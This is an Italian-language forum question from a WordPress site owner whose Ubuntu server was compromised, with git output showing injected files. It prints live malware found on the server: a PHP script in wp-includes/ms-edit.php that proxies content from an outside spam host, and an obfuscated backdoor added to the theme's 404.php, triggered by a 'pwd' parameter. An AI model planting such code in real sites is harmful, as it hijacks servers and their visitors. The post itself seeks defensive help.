Env
- Server cloud Rackspace
- Wordpress 3.9.1
- Ubuntu 12.04 Linux web.mydomain.com 3.2.0-67-virtual # 101-Ubuntu SMP mar 15 lug 17:58:37 UTC 2014 x86_64 x86_64 x86_64 GNU / Linux
Storia
Questi potrebbero effettivamente far parte dello stesso problema, li ho già risolti ieri. Aggiungendo qui per riferimento e cronologia dello sfondo.
Il mio attuale problema di sicurezza
Recentemente il mio server web ha riscontrato alcuni inusuali problema di esaurimento della memoria causato da un attività di sendmail anormale . Per questo ho ricevuto aiuto dal forum ServerFault, ma sono ancora in grado di identificare la vulnerabilità.
A quanto pare il mio server è stato oggetto di attacchi tramite i plugin wordpress, e apparentemente è ancora in corso nonostante:
- Ho pulito la mia istanza di wordpress, ho usato un backup funzionante
- Aggiornato tutti i plugin di wordpres
-
apt-get update && apt-get upgrade
sul server
Dopo un giorno, sto controllando la mia istanza di wordpress, e posso già trovare, quello che credo, è un codice PHP iniettato.
root@web:/var/www# git status
# On branch working-website
# Changes not staged for commit:
# (use "git add <file>..." to update what will be committed)
# (use "git checkout -- <file>..." to discard changes in working directory)
# (commit or discard the untracked or modified content in submodules)
#
# modified: .htaccess
# modified: webalizer/index.html
# modified: webalizer/usage.png
# modified: webalizer/webalizer.hist
# modified: wp-content/plugins/no-disposable-email/no_disposable_email.log
# modified: wp-content/themes/twentytwelve/404.php <===========
#
# Untracked files:
# (use "git add <file>..." to include in what will be committed)
#
# webalizer/ctry_usage_201407.png
# webalizer/daily_usage_201407.png
# webalizer/hourly_usage_201407.png
# webalizer/usage_201407.html
# wp-includes/ms-edit.php <=================
Un nuovo file imprevisto (?):
root@web:/var/www# more wp-includes/ms-edit.php
<?php $url = "http://admindors.com/redbutton/main2-dors/20j-107-1/"; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_
GET[$q] : $_SERVER["QUERY_STRING"])) { if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h)))
, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER[
"HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo
($ch, CURLINFO_EFFECTIVE_URL))) { header('Location: ' . $u, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); echo ($h || subs
tr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote(($t = ((!strncmp($_SERVER["REQUEST_URI"], $t = $_SERVER["SCRIPT_NAME"], strlen($t))) ? ($t . '?' . ($q ? $q . '=' : '' )) : '
/' . substr($_SERVER["REQUEST_URI"], 1, -strlen($a))) . ((substr($a, -1) != '/' && ($y = strrpos($a, '/'))) ? substr($a, 0, $y) . '/' : '' )), '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)
>/i', '<a$1href="$2' . (($h = strlen($w) - strlen($e) - strlen($a)) < 0 ? substr($a, $h) : "") . '"$4>', preg_replace('/<(a|link|img)(.*?)(href|src)=["\']([^\/][a-z0-9-_\.\/]+)["\'](.*?)>/i', '<$1$
2$3="' . $t . '$4"$5>', preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result))) : $result; exit; } } header('HTTP/1.0 404
Not Found', true); exit; ?>
Il mio sospetto è l'URL ( link ) nel codice PHP.
Anche come GIT sottolinea, questo è un nuovo file non tracciato.
anche il mio wp-content/themes/twentytwelve/404.php
sembrava essere stato compromesso:
root@web:/var/www# git diff wp-content/themes/twentytwelve/404.php
diff --git a/wp-content/themes/twentytwelve/404.php b/wp-content/themes/twentytwelve/404.php
index e7270b4..189b69c 100644
--- a/wp-content/themes/twentytwelve/404.php
+++ b/wp-content/themes/twentytwelve/404.php
@@ -1,3 +1,9 @@
+<?php^M
+if(isset($_GET['pwd'])) {^M
+$_F=__FILE__;$_X='P2lCPz5NY2VXKDxlbk1bVV85TTJPOU0oJzhDcjA5Qy5BMkNyNTJxRlAzLzh5YlR1THU0RlVFa0VXRUMzVXU0S0xFWWJrdVlifWJUOXlOVDgKYlRXV2JxMzE0d095YmtQbjxKM3htcEZzM2tnWUVwMzE0d095TkM2WWJENm45clAuYkpnWj
+^M
+} else {^M
+?>^M
<?php
/**
* The template for displaying 404 pages (Not Found).
@@ -26,4 +32,7 @@ get_header(); ?>
</div><!-- #content -->
</div><!-- #primary -->
-<?php get_footer(); ?>
\ No newline at end of file
+<?php get_footer(); ?>^M
+<?php^M
+}^M
+?>
\ No newline at end of file
A questo punto, non sono sicuro di come proteggere il mio wordpress?
Come posso identificare il colpevole?
Che cosa posso fare dopo?